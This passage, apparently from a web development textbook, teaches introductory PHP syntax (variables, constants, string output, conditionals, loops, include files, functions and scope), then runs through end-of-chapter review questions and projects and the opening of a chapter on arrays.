To declare a variable you must preface the variable name with the dollar ($)
symbol. Whenever you use that variable, you must also include the $ symbol
with it. You can assign a value to a variable as in JavaScript's right-to-left
assignment, so creating a variable named count and assigning it the value of
42 would be done with:

$count = 42;

You should note that in PHP the name of a variable is case sensitive, so
$count and $Count are references to two different variables. In PHP, variable
names can also contain the underscore character, which is useful for
readability reasons.

While PHP is loosely typed, it still does have data types, which describe the
type of content that a variable can contain. Table 11.1 lists the main data
types within PHP. As mentioned earlier, however, you do not declare a data
type. Instead the PHP engine determines the data type when the variable is
assigned a value.

Pro Tip
If you do not assign a value to a variable and simply define its name, it will
be undefined. You can check to see whether a variable has been set using the
isset() function, but what's important to realize is that there are no “useful”
default values in PHP. Since PHP is loosely typed, you should always define
your own default values in initialization.



Table 11.1 PHP Data Types
Data
Type Description

Boolean A logical true or false value
Integer Whole numbers
Float Decimal numbers
String Letters

Array A collection of data of any type (covered in the next
chapter)

Object Instances of classes

Note
String literals in PHP can be defined using either the single quote or the
double quote character. Single quotes define everything exactly as is, and no
escape sequences are expanded. If you use double quotes, then you can
specify escape sequences using the backslash. For instance, the string
“Good\nMorning” contains a newline character between the two words since
it uses double quotes, but would actually output the slash n were it enclosed
in single quotes. Table 11.2 lists some of the common string escape
sequences.

Table 11.2 String Escape
Sequences
Sequence Description
\n Line feed
\t Horizontal tab



\\ Backslash
\$ Dollar sign
\” Double quote

A constant is somewhat similar to a variable, except a constant's value never
changes … in other words it stays constant. A constant can be defined
anywhere but is typically defined near the top of a PHP file via the define()
function, as shown in Listing 11.4. The define() function generally takes
two parameters: the name of the constant and its value. Notice that once it is
defined, it can be referenced without using the $ symbol.

Listing 11.4 PHP constants
<?php 

// uppercase for constants is a programming convention 

define(“DATABASE_LOCAL”, “localhost”); 

define(“DATABASE_NAME”, “ArtStore”); 

define(“DATABASE_USER”, “Fred”); 

define(“DATABASE_PASSWD”, “F5^7%ad”); 

// … 

// notice that no $ prefaces constant names 

$db = new mysqli(DATABASE_LOCAL, DATABASE_NAME, DATABASE_USER,

                 DATABASE_PASSWD);

?>

Pro Tip
PHP allows variable names to also be specified at run time. This type of
variable is sometimes referred to as a “variable variable” and can be
convenient at times. For instance, imagine you have a set of variables named
as follows:

<?php

$artist1 = “picasso”;

$artist2 = “raphael”;



$artist3 = “cezanne”;

$artist4 = “rembrandt”;

$artist5 = “giotto”;

If you wanted to output each of these variables within a loop, you can do so
by programmatically constructing the variable name within curly brackets, as
shown in the following loop:

for ($i = 1; $i <= 5; $i++) {

  echo ${“artist”. $i};

  echo “<br>”;

}

?>

11.2.4 Writing to Output
Remember that PHP pages are programs that output HTML. To output
something that will be seen by the browser, you can use the echo() function.

echo (“hello”);

There is also an equivalent shortcut version that does not require the
parentheses.

echo “hello”;

Hands-on Exercises Lab 11
Exercise
PHP Output

Strings can easily be appended together using the concatenate operator,
which is the period (.) symbol. Consider the following code:

$username = “Ricardo”; 

echo “Hello”. $username;



This code will output Hello Ricardo to the browser. While this no doubt
appears rather straightforward and uncomplicated, it is quite common for
PHP programs to have significantly more complicated uses of the
concatenation operator.

Before we get to those more complicated examples, pay particular attention
to the first example in Listing 11.5. It illustrates the fact that variable
references can appear within string literals (but only if the literal is defined
using double quotes), which is quite unlike traditional programming
languages such as Java.

Listing 11.5 PHP quote usage and
concatenation approaches
<?php 

$firstName = “Pablo”; 

$lastName = “Picasso”; 

/* 

  Example one: 

  These two lines are equivalent. Notice that you can reference PHP

  variables within a string literal defined with double quotes. 

  The resulting output for both lines is:

       <em>Pablo Picasso</em> 

*/

echo “<em>” . $firstName . “ ”. $lastName. “</em>”; 

echo “<em> $firstName $lastName </em>”; 

/* 

  Example two: 

  These two lines are also equivalent. Notice that you can use either

  the single quote symbol or double quote symbol for string literals.

*/ 

echo “<h1>”; 

echo '<h1>'; 

/* 



  Example three: 

  These two lines are also equivalent. In the second example, the escape character (the backslash) is used to embed a double quote within a string literal defined within double quotes.

*/ 

echo '<img src=“23.jpg” >'; 

echo “<img src=\”23.jpg\“ >”; 

?>

Dive Deeper

Concatenation
Concatenation is an important part of almost any PHP program, and, based
on our experience as teachers, one of the main stumbling blocks for new PHP
students. As such, it is important to take some time to experiment and
evaluate some sample concatenation statements as shown in Listing 11.6.

Listing 11.6 More complicated
concatenation examples
<?php

$id = 23; 

$firstName = “Pablo”; 

$lastName = “Picasso”;

echo “<img src='23.jpg' alt='”. $firstName . “ ”. $lastName . “' >”;

echo “<img src='$id.jpg' alt='$firstName $lastName' >”; 

echo “<img src=\”$id.jpg\“ alt=\”$firstName $lastName\“ >”; 

echo '<img src=“' . $id . '.jpg” alt=“' . $firstName . ' ' . $lastName . '” >';

echo '<a href=“artist.php?id=' . $id .'”>' . $firstName . ' ' . $lastName . '</a>';

?>

Try to figure out the output of each line without looking at the solutions in
Figure 11.13 . We cannot stress enough how important it is for the reader to



be completely comfortable with these examples.

Figure 11.13 More complicated



concatenation examples
explained

Figure 11.13 Full Alternative Text

11.2.5 printf
As the examples in Listing 11.6 illustrate, while echo is quite simple, more
complex output can get confusing. As an alternative, you can use the
printf() function. This function is derived from the same-named function in
the C programming language and includes variations to print to string and
files (sprintf, fprintf). The function takes at least one parameter, which is
a string, and that string optionally references parameters, which are then
integrated into the first string by placeholder substitution.4 The printf()
function also allows a developer to apply special formatting, for instance,
specific date/time formats or number of decimal places.

Figure 11.14 illustrates the relationship between the first parameter string, its
placeholders and subsequent parameters, precision, and output.

Figure 11.14 Illustration of
components in a printf



statement and output
Figure 11.14 Full Alternative Text

The printf() function (or something similar to it) is nearly ubiquitous in
programming, appearing in many languages including Java, MATLAB, Perl,
Ruby, and others. The advantage of using it is that you can take advantage of
built-in output formatting that allows you to specify the type to interpret each
parameter as, while also being able to succinctly specify the precision of
floating-point numbers.

Each placeholder requires the percent (%) symbol in the first parameter string
followed by a type specifier. Common type specifiers are b for binary, d for
signed integer, f for float, o for octal, s for string, and x for hexadecimal.
Precision is achieved in the string with a period (.) followed by a number
specifying how many digits should be displayed for floating-point numbers.

For a complete listing of the printf() function, refer the function at
php.net.4 When programming, you may prefer to use printf() for more
complicated formatted output, and use echo for simpler output.

http://php.net


11.3 Program Control
Just as with most other programming languages there are a number of
conditional and iteration constructs in PHP. There are if and switch, and
while, do while, and for loops familiar to most languages as well as the
foreach loop.

11.3.1 if … else
The syntax for conditionals in PHP is identical to that of JavaScript. In this
syntax the condition to test is contained within () brackets with the body
contained in {} blocks. Optional else if statements can follow, with an
optional else ending the branch. Listing 11.7 uses a conditional to set a
greeting variable, depending on the hour of the day.

Listing 11.7 Conditional snippet of
code using if … else
// if statement 

if ( $hourOfDay > 6 && $hourOfDay < 12) {

  $greeting = “Good Morning”;

} 

else if ($hourOfDay == 12) {  // optional else if 

  $greeting = “Good Noon Time”; 

} 

else {                        // optional else branch 

  $greeting = “Good Afternoon or Evening”; 

}

It is also possible to place the body of an if or an else outside of PHP. For
instance, in Listing 11.8, an alternate form of an if … else is illustrated
(along with its equivalent PHP-only form). This approach will sometimes be
used when the body of a conditional contains nothing but markup with no



logic, though because it mixes markup and logic, it may not be ideal from a
design standpoint. As well, it can be difficult to match curly brackets up with
this format, as perhaps can be seen in Listing 11.8. At the end of the current
section an alternate syntax for program control statements is described (and
shown in Listing 11.12), which makes the type of code in Listing 11.8 more
readable.

Listing 11.8 Combining PHP and
HTML in the same script
<?php  if ($userStatus == “loggedin”) {  ?> 

  <a href=“account.php”>Account</a> 

  <a href=“logout.php”>Logout</a> 

<?php  } else {  ?>  

  <a href=“login.php”>Login</a> 

  <a href=“register.php”>Register</a> 

<?php  }  ?> 

<?php 

  // equivalent to the above conditional 

  if ($userStatus == “loggedin”) { 

    echo '<a href=“account.php”>Account</a> '; 

    echo '<a href=“logout.php”>Logout</a>'; 

  } 

  else { 

    echo '<a href=“login.php”>Login</a> '; 

    echo '<a href=“register.php”>Register</a>'; 

  } 

?>

Note
Just like with JavaScript, Java, and C#, PHP expressions use the double
equals (==) for comparison. If you use the single equals in an expression,
then variable assignment will occur.

As well, like those other programming languages, it is up to the programmer



to decide how she or he wishes to place the first curly bracket on the same
line with the statement it is connected to or on its own line.

11.3.2 switch … case
The switch statement is similar to a series of if … else statements. An
example using switch is shown in Listing 11.9.

Hands-on Exercises Lab 11
Exercise
PHP Conditionals

Listing 11.9 Conditional statement
using switch and the equivalent if-
else
switch ($artType) { 

   case “PT”: 

      $output = “Painting”; 

      break; 

   case “SC”: 

      $output = “Sculpture”; 

      break; 

   default: 

      $output = “Other”; 

}

// equivalent 

if ($artType == “PT”) 

   $output = “Painting”; 

else if ($artType == “SC”) 



   $output = “Sculpture”; 

else 

   $output = “Other”;

Pro Tip
Be careful with mixing types when using the switch statement: if the variable
being compared has an integer value, but a case value is a string, then there
will be type conversions that will create some unexpected results. For
instance, the following example will output “Painting” because it first
converts the “PT” to an integer (since $code currently contains an integer
value), which is equal to the integer 0 (zero).

$code = 0;

switch($code) {

  case “PT”:

    echo “Painting”;

    break;

  case 1:

    echo “Sculpture”;

    break;

  default:

    echo “Other”;

}

11.3.3 while and do … while
The while loop and the do … while loop are quite similar. Both will execute
nested statements repeatedly as long as the while expression evaluates to
true. In the while loop, the condition is tested at the beginning of the loop;
in the do … while loop the condition is tested at the end of each iteration of
the loop. Listing 11.10 provides examples of each type of loop.

Hands-on Exercises Lab 11



Exercise
PHP Loops

Listing 11.10 The while loops
$count = 0; 

while  ($count < 10) 

{ 

   echo $count; 

   $count++; 

} 

$count = 0; 

do 

{

   echo $count; 

   // this one increments the count by 2 each time 

   $count = $count + 2; 

} while ($count < 10);

11.3.4 for
The for loop in PHP has the same syntax as the for loop in JavaScript that
we examined in Chapter 8. As can be seen in Listing 11.11, the for loop
contains the same loop initialization, condition, and postloop operations as in
JavaScript.

Listing 11.11 The for loops
// this one increments the count by 1 each time 

for ($count=0; $count < 10; $count++) 

{

   echo $count; 

}

// this one increments the value by 5 each time 



for ($count=0; $count < 100; $count+=5) 

{

   echo $count; 

}

There is another type of for loop: the foreach loop. This loop is especially
useful for iterating through arrays and so this book will cover foreach loops
in the array section of the next chapter.

11.3.5 Alternate Syntax for Control
Structures
PHP has an alternative syntax for most of its control structures (namely, the
if, while, for, foreach, and switch statements). In this alternate syntax
(shown in Listing 11.12), the colon (:) replaces the opening curly bracket,
while the closing brace is replaced with endif;, endwhile;, endfor;,
endforeach;, or endswitch;. While this may seem strange and unnecessary,
it can actually improve the readability of your PHP code when it intermixes
PHP and markup within a control structure, as was seen in Listing 11.8.

Listing 11.12 Alternate syntax for
control structures
<?php if ($userStatus == “loggedin”) : ?> 

   <a href=“account.php”>Account</a> 

   <a href=“logout.php”>Logout</a> 

<?php else :  ?> 

   <a href=“login.php”>Login</a> 

   <a href=“register.php”>Register</a> 

<?php endif;  ?>

11.3.6 Include Files



PHP does have one important facility that is unlike most other nonweb
programming languages, namely, the ability to include or insert content from
one file into another.5 Almost every PHP page beyond simple practice
exercises makes use of this include facility. Include files provide a
mechanism for reusing both markup and PHP code, as shown in Figure 11.15
.

Figure 11.15 The include files
Figure 11.15 Full Alternative Text

Older web development technologies also supported include files, and were
typically called server-side includes (SSI). In a noncompiled environment
such as PHP, include files are essentially the only way to achieve code and
markup reuse.

PHP provides four different statements for including files, as shown in the



following example:

include “somefile.php”; 

include_once “somefile.php”; 

require “somefile.php”; 

require_once “somefile.php”;

The difference between include and require lies in what happens when the
specified file cannot be included (generally because it doesn't exist or the
server doesn't have permission to access it). With include, a warning is
displayed and then execution continues. With require, an error is displayed
and execution stops. The include_once and require_once statements work
just like include and require but if the requested file has already been
included once, then it will not be included again (preventing re-declarations,
and increased memory demands on your scripts). This might seem an
unnecessary addition, but in a complex PHP application written by a team of
developers, it can be difficult to keep track of whether or not a given file has
been included. It is not uncommon for a PHP page to include a file that
includes other files that may include other files, and in such an environment
the include_once and require_once statements are certainly recommended.

11.3.6.1 Scope within Include Files
Include files appear to provide a type of encapsulation, but it is important to
realize that they are the equivalent of copying and pasting, though in this case
it is performed by the server. This can be quite clearly seen by considering
the scope of code within an include file. Variables defined within an include
file will have the scope of the line on which the include occurs. Any variables
available at that line in the calling file will be available within the called file.
If the include occurs inside a function, then all of the code contained in the
called file will behave as though it had been defined inside that function.
Thus, for true encapsulation, you will have to use functions (covered next)
and classes (covered in the next chapter).



Extended Example
In this example, we are going to demonstrate a simple PHP page. It uses a
loop to output the <option> elements for a <select> list. It includes a file
containing some sample data variables and then outputs those variables as
HTML attributes. In later chapters, such sample data will be read-in from a
database. Those scripts also use a loop to output the <option> elements for a
<select> list.





11.3-3 Full Alternative Text



11.4 Functions
Just as with any language, writing code in the main function or in a single file
is not a good habit to get into. Having all your code in the main body of a
script makes it hard to reuse, maintain, and understand. As an alternative,
PHP allows you to define functions. Just like with JavaScript, a function in
PHP contains a small bit of code that accomplishes one thing. These
functions can be made to behave differently based on the values of their
parameters.

Functions can exist all on their own, and can then be called from anywhere
that needs to make use of them, so long as they are in scope. Later you will
write functions inside of classes, which we will call methods.

In PHP there are two types of function: user-defined functions and built-in
functions. A user-defined function is one that you, the programmer, define. A
built-in function is one of the functions that come with the PHP environment
(or with one of its extensions). One of the real strengths of PHP is its rich
library of built-in functions that you can use.

11.4.1 Function Syntax
To create a new function you must think of a name for it, and consider what it
will do. Functions can return values to the caller, or not return a value. They
can be set up to take or not take parameters. To illustrate function syntax, let
us examine a function called getNiceTime(), which will return a formatted
string containing the current server time, and is shown in Listing 11.13. You
will notice that the definition requires the use of the function keyword
followed by the function's name, round ( ) brackets for parameters, and then
the body of the function inside curly { } brackets.6

Listing 11.13 The definition of a



function to return the current time
as a string
/** 

* This function returns a nicely formatted string using the current

* system time. 

*/ 

function getNiceTime(){ 

   return date(“H:i:s”); 

}

While the example function in Listing 11.13 returns a value, there is no
requirement for this to be the case. Listing 11.14 illustrates a function
definition that doesn't return a value but just performs a task.

Listing 11.14 The definition of a
function without a return value
/** 

* This function outputs a footer menu 

*/ 

function outputFooterMenu() { 

   echo '<div id=“footer”>'; 

   echo '<a href=“#”>Home</a> | <a href=“#”>Products</a> | '; 

   echo '<a href=“#”>About us</a> | <a href=“#”>Contact us</a>'; 

   echo '</div>'; 

}

Pro Tip
Recall that PHP is a mostly a dynamically typed language, meaning that the
type of a variable (or function) is determined at run time. In PHP 7.0, the
ability to explicitly define a return type for a function was added, allowing
you to enforce that a function return a certain type of value.



A Return Type Declaration explicitly defines a function's return type by
adding a colon and the return type after the parameter list when defining a
function. To illustrate this new syntax consider Listing 11.15 where a
function is defined that must return a string. If the code to return a string is
removed or changed to return a nonstring, a TypeError exception will be
thrown, so long as strict typing is on.

PHP continues to support dynamically typed functions, so existing code that
does not define a return type will work just fine, since the use of return type
declarations is optional.

Listing 11.15 Using return type
definitions in PHP 7.0
function mustReturnString() : string { 

   return “hello”; 

}

11.4.2 Calling a Function
Now that you have defined a function, you are able to use it whenever you
want to. To call a function you must use its name with the () brackets. Since
getNiceTime() returns a string, you can assign that return value to a variable,
or echo that return value directly, as shown in the following example:

$output = getNiceTime(); 

echo getNiceTime(); 

If the function doesn't return a value, you can just call the function:

outputFooterMenu();

Hands-on Exercises Lab 11
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Writing Functions

11.4.3 Parameters
It is more common to define functions with parameters, since functions are
more powerful and reusable when their output depends on the input they get.
Parameters are the mechanism by which values are passed into functions, and
there are some complexities that allow us to have multiple parameters, default
values, and to pass objects by reference instead of value.

To define a function with parameters, you must decide how many parameters
you want to pass in, and in what order they will be passed. Each parameter
must be named. To illustrate, let us write another version of getNiceTime()
that takes an integer as a parameter to control whether to show seconds. You
will call the parameter showSeconds, and write our function as shown in
Listing 11.16. Notice that parameters, being a type of variable, must be
prefaced with a $ symbol like any other PHP variable.

Listing 11.16 A function to return
the current time as a string with an
integer parameter
/** 

*This function returns a nicely formatted string using the current

* system time. The showSeconds parameter controls whether or not to

* include the seconds in the returned string. 

*/ 

function getNiceTime($showSeconds) { 

   if ($showSeconds==true) 

      return date(“H:i:s”); 

    else 



      return date(“H:i”); 

}

Thus to call our function, you can now do it in two ways:

echo getNiceTime(true);   // this will print seconds 

echo getNiceTime(false);  // will not print seconds

In fact any nonzero number passed in to the function will be interpreted as
true since the parameter is not type specific.

Note
Now you may be asking how you can that use the same function name that
you used before. Well, to be honest, we are replacing the old function
definition with this one. If you are familiar with other programming
languages, you might wonder whether we couldn't overload the function, that
is, define a new version with a different set of input parameters.

In PHP, the signature of a function is based on its name, and not its
parameters. Thus it is not possible to do the same function overloading as in
other object-oriented languages. PHP does have class method overloading,
but it means something quite different than in other object-oriented
languages.

11.4.3.1 Parameter Default Values
You may wonder if you could not simply combine the two overloaded
functions together into one so that if you call it with no parameter, it uses a
default value. The answer is yes you can!

In PHP you can set parameter default values for any parameter in a function.
However, once you start having default values, all subsequent parameters
must also have defaults. Applying this principle, you can combine our two
functions from Listing 11.13 and Listing 11.16 together by adding a default



value in the parameter definition as shown in Listing 11.17.

Listing 11.17 A function to return
the current time with a parameter
that includes a default
/** 

* This function returns a nicely formatted string using the current

* system time. The showSeconds parameter controls whether or not 

* to show the seconds. 

*/ 

function getNiceTime($showSeconds=true) { 

   if ($showSeconds==true) 

       return date(“H:i:s”); 

   else 

       return date(“H:i”); 

}

Now if you were to call the function with no values, the $showSeconds
parameter would take on the default value, which we have set to 1, and return
the string with seconds. If you do include a value in your function call, the
default will be overridden by whatever that value was. Either way you now
have a single function that can be called with or without values passed.

11.4.3.2 Passing Parameters by
Reference
By default, arguments passed to functions are passed by value in PHP. This
means that PHP passes a copy of the variable so if the parameter is modified
within the function, it does not change the original. Listing 11.18 illustrates a
simple example of passing by value. Notice that even though the function
modifies the parameter value, the contents of the variable passed to the
function remain unchanged after the function has been called.



Listing 11.18 Passing a parameter
by value
function changeParameter($arg) {

   $arg += 285; 

   echo “<br/>arg=” . $arg; 

} 

$initial = 15; 

echo “<br/>initial=” . $initial;   // output: initial=15 

changeParameter($initial);         // output: arg=300 

echo “<br/>initial=” . $initial;   // output: initial=15

Like many other programming languages, PHP also allows arguments to
functions to be passed by reference, which will allow a function to change the
contents of a passed variable. A parameter passed by reference points the
local variable to the same place as the original, so if the function changes it,
the original variable is changed as well. The mechanism in PHP to specify
that a parameter is passed by reference is to add an ampersand (&) symbol
next to the parameter name in the function declaration. Listing 11.19
illustrates an example of passing by reference.

Listing 11.19 Passing a parameter
by reference
function changeParameter(&$arg) { 

  $arg += 300; 

  echo “<br/>arg=”. $arg;

} 

$initial = 15; 

echo “<br/>initial=” . $initial;   // output: initial=15 

changeParameter($initial);         // output: arg=315 

echo “<br/>initial=” . $initial;   // output: initial=315

Figure 11.16 illustrates visually the memory differences between pass-by-



value and pass-by-reference.

Figure 11.16 Pass-by-value
versus pass-by-reference

Figure 11.16 Full Alternative Text

The possibilities opened up by the pass-by-reference mechanism are
significant, since you can now decide whether to have your function use a
local copy of a variable, or modify the original. By and large, you will likely
find that most of the time you should use pass-by value in the majority of



your functions. When we introduce classes and methods, we will come back
to this particular issue again and describe when pass by reference is
appropriate.

11.4.3.3 Parameter-Type
Declarations
As we have seen, PHP 7 now supports a more strictly typed syntax. Strict
typing allows programmers to add checks to their code to ensure that
variables contain the expected type of values. It is now possible to require
that a particular parameter be of a particular type. To add a type to a
parameter, add the type before the parameter name (int, float, string, bool,
callable, or any class name you have defined). Redefining the function from
11.17 to include a strict bool type for the parameter one is seen in Listing
11.20

Listing 11.20 Using a parameter
type to force a bool for the first
parameter
function getNiceTime(bool  $showSeconds=1) { 

   if ($showSeconds==true) 

      return date(“H:i:s”); 

   else 

      return date(“H:i”); 

}

Since PHP is good at forcing one type of value into another it's possible for a
passed parameter to have a different type, which is then coerced into the
current type by the dynamic PHP runtime engine (think transforming an
integer into a string if a string is expected). To require that only variables of
exact type are accepted you can enable strict mode on a per-file basis as



follows:

declare(strict_types=1);

11.4.4 Variable Scope within
Functions
It will come as no surprise that all variables defined within a function (such
as parameter variables) have function scope, meaning that they are only
accessible within the function. It might be surprising though to learn that any
variables created outside of the function in the main script are unavailable
within a function. For instance, in the following example, the output of the
echo within the function is 0 and not 56 since the reference to $count within
the function is assumed to be a new variable named $count with function
scope.

$count= 56;

function testScope() {

   echo $count;     // outputs 0 or generates run-time warning 

}

testScope();

echo $count;        // outputs 56

While variables defined in the main script are said to have global scope,
xsthese global variables are not by default, available within functions. Of
course, in the aforementioned example, one could simply have passed $count
to the function. However, there are times when such a strategy is unworkable.
For instance, most web applications will have important data values such as
connections, application constants, and logging/debugging switches that need
to be available throughout the application, and passing them to every function
that might need them is often impractical. This is actually a tricky design
problem that we will return to in Chapter 13, but PHP does allow variables
with global scope to be accessed within a function using the global keyword,
as shown in Listing 11.21.



Listing 11.21 Using the global
keyword
$count= 56; 

function testScope() { 

   global  $count; 

   echo $count;   // outputs 56 

} 

testScope(); 

echo $count;      // outputs 56

From a programming design standpoint, the use of global variables should be
minimized, and only used for vital application objects that are truly global.

Pro Tip
There is in fact another way to have global variables, which is the preferred
mechanism for using globals in PHP. In the next chapter you will learn about
the superglobal variables in PHP, which are used for accessing query string
data, server data, and session storage. One of these is the $GLOBALS
associative array, which is always available and is a convenient storage
location for any data that must be available globally.



11.5 Chapter Summary
In this chapter, we have covered two key aspects of server-side development
in PHP. We began by exploring what server-side development is in general in
the context of the LAMP software stack. The latter half of the chapter
focused on introductory PHP syntax, covering all the core programming
concepts including variables, functions, and program flow.

11.5.1 Key Terms
ASP

ASP.NET

built-in function

Common Gateway Interface (CGI)

constant

daemon

data storage

data types

database

database management system (DBMS)

dynamically typed

extension layer

fork



function

function scope

global scope

handlers

Java Server Pages (JSP)

loosely typed

module

multi-process

multi-threaded

opcodes

overloading

parameters

parameter default values

passed by reference

passed by value

Perl

PHP

PHP core

preforked

process



Python

Return-type declarations

Ruby On Rails

SAPI

server-side includes (SSI)

thread

user-defined function

virtual machine

web services

worker

Zend Engine

11.5.2 Review Questions
1. In the LAMP stack, what software is responsible for responding to

HTTP requests?

2. Describe one alternative to the LAMP stack.

3. Identify and briefly describe at least four different server-side
development technologies.

4. Describe the difference between multi-threaded and multi-processes in
Apache.

5. Describe the steps taken by the Zend Engine when it receives a PHP
request.



6. What does it mean that PHP is dynamically typed?

7. What are server-side include files? Why are they important in PHP?

8. Can we have two functions with the same name in PHP? Why or why
not?

9. How do we define default function parameters in PHP?

10. How are parameters passed by reference different than those passed by
value?

11. How do we define a strict type for the return value of a function? Why is
this a valuable feature?

11.5.3 Hands-on Practice

Project 1: Art Store

Difficulty Level: Beginner

Overview
Demonstrate your ability to work with PHP by using nested loops to output a
range of HTML color blocks similar to that shown in Figure 11.17 . This
project requires using variables and loops to style <span> elements and
output then to the browser.
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Figure 11.17 Completed
Project 1



Figure 11.17 Full Alternative Text

Instructions
1. Examine the provided PHP file named Chapter11-project1.php. You

will be modifying this file.

2. Use the PHP include() function to include the provided file
rainbowIterator.php. This file simply defines and initializes the
$iterator variable, which you will be using in your loops that you will
be creating in step 4.

3. Create three variables named $red, $green, and $blue with initial values
of 0. Use the echo statement to output the $iterator variable within a
<h1> heading (see Figure 11.17 ).

4. Create three nested loops; the first will increment the $red variable from
0 to 255, incrementing the values by the $iterator variable each time
through the loop. Inside the red loop, add a similar loop for $green.
Within that, a similar loop for $blue.

5. Within the innermost loop (i.e., that for $blue) you are going to output a
<span> element with two attributes: style and title. The style
attribute will set the background-color CSS property using the CSS
rgb() function. The title attribute will specify the hexadecimal version
of the color. Thus, within the loop your PHP code will generate a
<span> element similar to the following:

<span style=“background-color: rgb(0,50,150)” 

      title=“#003296”></span>

There are several ways to convert a decimal number to a hexadecimal
number in PHP. You could use the built-in dechex() function, but it will
remove any leading zeros which is a problem for hex colors in CSS.
Instead, we recommend you use the sprintf() function using '%02x' as
the format. You would use this function in a way similar to the
following:



$hexRed = sprintf('%02x', $Red);

6. For an additional challenge, try outputting positional information in each
span's style attribute to group similar colors as shown in Figure 11.7
(right). You will need to calculate and output the left, top, and z-index
CSS properties.

Test
1. Test the page. Remember that you cannot simply open a local PHP page

in the browser using its open command. Instead you must have the
browser request the page from a server. If you are using a local server
such as XAMMP, the file must exist within the htdocs folder of the
server, and then the request will be localhost/some-path/chapter11-
project1.php.

2. Verify that the logic works by editing the $increment variable in the
rainbowIterator.php file. Larger values will display fewer colors, and
smaller values will display more colors.

3. Hover over any of the <span> elements and verify the hexadecimal color
show up in the title tooltip (see Figure 11.17 ).

Project 2: CRM Admin

Difficulty Level: Intermediate

Overview
Demonstrate your ability to work with PHP by converting Chapter11-
project2.html into a PHP file that looks similar to that shown in Figure 11.18
.



Figure 11.18 Completed
Project 2

Figure 11.18 Full Alternative Text

Instructions
1. You have been provided with an HTML file (Chapter11-

project2.html) that includes all the necessary markup. Save this file as



Chapter11-project2.php.

2. Move the header and the <div> for the left navigation area into two
separate include files named header.inc.php and left.inc.php. Use the
PHP include() function to include each of these files back into the
original file.

3. Examine and then include the provided data.inc.php file. This file
contains PHP variables that you will use below.

4. Use a for loop to output the list in the My Orders area (see Figure 11.18
).

5. Create a function called outputOrderRow() that has the following
signature:

function outputOrderRow($file, $title, $quantity, $price) { }

6. Implement the body of the outputOrderRow() function. It should echo
the passed information as a table row. Use the number_format()
function to format the currency values with two decimal places.
Calculate the value for the amount column.

7. Replace the four cart table rows in the original with the following calls:

outputOrderRow($file1, $product1, $quantity1, $price1);

outputOrderRow($file2, $product2, $quantity2, $price2);

…

8. Calculate the subtotal, shipping, and grand total using PHP. Replace the
hard-coded values with your variables that contain the calculations. The
shipping value will be $200 unless the subtotal is above $10,000, in
which case it will be $100.

Test
1. Test the page in the browser (see the test section of the previous section

to remind yourself about how to do this). Verify that the calculations



work appropriately by changing the values in the data.inc.php file.

Project 3: Share Your Travel
Photos

Difficulty Level: Advanced

Overview
Demonstrate your ability to work with PHP by creating PHP functions and
include files so that Chapter11-project3.php looks similar to that shown in
Figure 11.19 .



Figure 11.19 Completed
Project 3

Figure 11.19 Full Alternative Text



Instructions
1. You have been provided with a PHP file (Chapter11-project3.php)

that includes all the necessary markup. Move the header and left
navigation boxes into two separate include files. Use the PHP
include() function to include each of these files back into the original
file.

2. Create a function called generateLink() that takes three arguments:
$url, $label, and $class, which will echo a properly formed hyperlink
in the following form:

<a href=“$url” 

class=“$class”>$label</a>

3. Create a function called outputPostRow() that takes a single argument:
$number. This function will echo the necessary markup for a single post.
For it to work, you will need to include a file called travel-
data.inc.php. (Hint: remember PHP's scope rules). This is a provided
file that defines variables containing the post data for all three posts.
Your function will need to use variable variable names (see Pro Tip
examples). Be sure to also use your generateLink() function for the
three links (image, user name, read more) in each post. Notice that these
links contain query strings making use of the userId or postId.

4. Create a function that takes one parameter. This parameter will contain a
number between (and including) 0 and 5. Your function will output that
number of gold star image elements; after that it will also output
however many white star images so that 5 stars total are displayed.

5. Modify your outputPostRow() function so that it calls your star-making
function.

6. Remove the existing post markup and replace with calls to
outputPostRow(), for instance: outputPostRow(1);



Test
1. Test the page in the browser. Verify that your star-making function

works correctly by altering the data in travel-data.inc.php.
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12 PHP Arrays and Superglobals



Chapter Objectives
In this chapter, you will learn …

How to create and use arrays in PHP

How superglobal PHP variables simplify access to HTTP resources

How to upload files to the server

How to read and write text files

This chapter covers a variety of important PHP topics that build upon the
PHP foundations introduced in Chapter 11. It covers PHP arrays, from the
most basic all the way through to superglobal arrays, which are essential for
almost any PHP web application. The chapter ends with a look at file
processing in PHP, where you will learn to handle file upload as well as read
and write text files directly.



12.1 Arrays
Like most other programming languages, PHP supports arrays. As you may
recall from arrays in JavaScript back in Chapter 8, an array is a data structure
that allows the programmer to collect a number of related elements together
in a single variable. Unlike most other programming languages (including
JavaScript), in PHP an array is actually an ordered map, which associates
each value in the array with a key. The description of the map data structure
is beyond the scope of this chapter, but if you are familiar with other
programming languages and their collection classes, a PHP array is not only
like other languages' arrays, but it is also like their vector, hash table,
dictionary, and list collections. This flexibility allows you to use arrays in
PHP in a manner similar to other languages' arrays, but you can also use them
like other languages' collection classes.

For some PHP developers, arrays are easy to understand, but for others they
are a challenge. To help visualize what is happening, one should become
familiar with the concept of keys and associated values. Figure 12.1
illustrates a PHP array with five strings containing day abbreviations.

Figure 12.1 Visualization of a
key-value array

Figure 12.1 Full Alternative Text

Array keys in most programming languages are limited to integers, start at 0,
and go up by 1. You may recall from Chapter 8 that this is the case with



arrays in JavaScript. In PHP, keys must be either integers or strings and need
not be sequential. This means you cannot use an array or object as a key
(doing so will generate an error).

Array values, unlike keys, are not restricted to integers and strings. They can
be any object, type, or primitive supported in PHP. You can even have
objects of your own types, so long as the keys in the array are integers or
strings.

Hands-on Exercises Lab 12
Exercise
Use PHP Arrays

12.1.1 Defining and Accessing an
Array
Let us begin by considering the simplest array, which associates each value
inside of it with an integer index (starting at 0). The following declares an
empty array named days:

$days = array();

To define the contents of an array as strings for the days of the week as
shown in Figure 12.1 , you declare it with a comma-delimited list of values
inside the ( ) braces using either of two following syntaxes:

$days = array(“Mon”,“Tue”,“Wed”,“Thu”,“Fri”); 

$days = [“Mon”,“Tue”,“Wed”,“Thu”,“Fri”];     // alternate syntax

In these examples, because no keys are explicitly defined for the array, the
default key values are 0, 1, 2, … , n-1. Notice that you do not have to provide
a size for the array: arrays are dynamically sized as elements are added to



them.

Elements within a PHP array are accessed in a manner similar to other
programming languages, that is, using the familiar square bracket notation.
The code example below echoes the value of our $days array for the key=1,
which results in output of Tue.

echo “Value at index 1 is ”. $days[1];    // index starts at zero

You could also define the array elements individually using this same square
bracket notation:

$days = array(); 

$days[0] = “Mon”; 

$days[1] = “Tue”; 

$days[2] = “Wed”; 

// another alternate approach 

$days = array(); 

$days [] = “Mon”; 

$days [] = “Tue”; 

$days [] = “Wed”;

In PHP, you are also able to explicitly define the keys in addition to the
